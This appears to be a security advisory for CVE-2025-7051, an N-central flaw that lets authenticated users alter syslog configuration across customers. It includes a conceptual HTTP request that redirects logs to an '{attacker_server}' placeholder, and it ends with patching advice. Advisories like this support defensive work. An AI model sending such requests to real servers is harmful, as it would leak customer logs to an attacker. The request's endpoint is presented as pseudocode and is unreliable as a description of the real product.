Overview
The CVE-2025-7051 vulnerability is a serious cybersecurity flaw that affects all deployments of N-central prior to 2025.2. This vulnerability allows any authenticated user to read, write and modify syslog configuration across various customers on an N-central server. As a result, this opens up potential for system compromise or data leakage, causing significant security concerns for all users and businesses relying on this platform. Given the widespread use of N-central, this vulnerability could potentially have far-reaching impacts if left unaddressed.
Vulnerability Summary
CVE ID: CVE-2025-7051
Severity: High (8.3 CVSS Score)
Attack Vector: Network
Privileges Required: User-level
User Interaction: Required
Impact: System compromise and potential data leakage
Affected Products
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Product | Affected Versions
N-central | All versions prior to 2025.2
How the Exploit Works
The exploit takes advantage of the fact that N-central does not properly restrict access to syslog configurations. As a result, any authenticated user, regardless of their privilege level, can read, write, and modify syslog configurations across different customers on an N-central server. This can lead to unauthorized access to sensitive information, potential system compromise, and data leakage.
Conceptual Example Code
Below is a conceptual example of how the vulnerability might be exploited using an HTTP request:
POST /ncentral/syslog/config HTTP/1.1
Host: target.example.com
User-Agent: Mozilla/5.0
Authorization: Bearer {user_token}
{
"syslog_config": {
"log_level": "debug",
"log_destination": "{attacker_server}"
}
}In the above pseudocode, the attacker, authenticated as a regular user, sends a POST request to change the syslog configuration. The ‘log_level’ is set to ‘debug’ to get detailed logs, and ‘log_destination’ is set to the attacker’s server, effectively redirecting all log information to the attacker.
Mitigation Guidance
The primary solution to mitigate this vulnerability is to apply the vendor-provided patch. The patch should be applied to all instances of N-central as soon as possible. If immediate patching is not feasible, using a web application firewall (WAF) or intrusion detection system (IDS) can serve as a temporary mitigation measure. However, these should not be seen as a long-term solution and the patch should be applied as soon as practicable to ensure robust protection against this vulnerability.
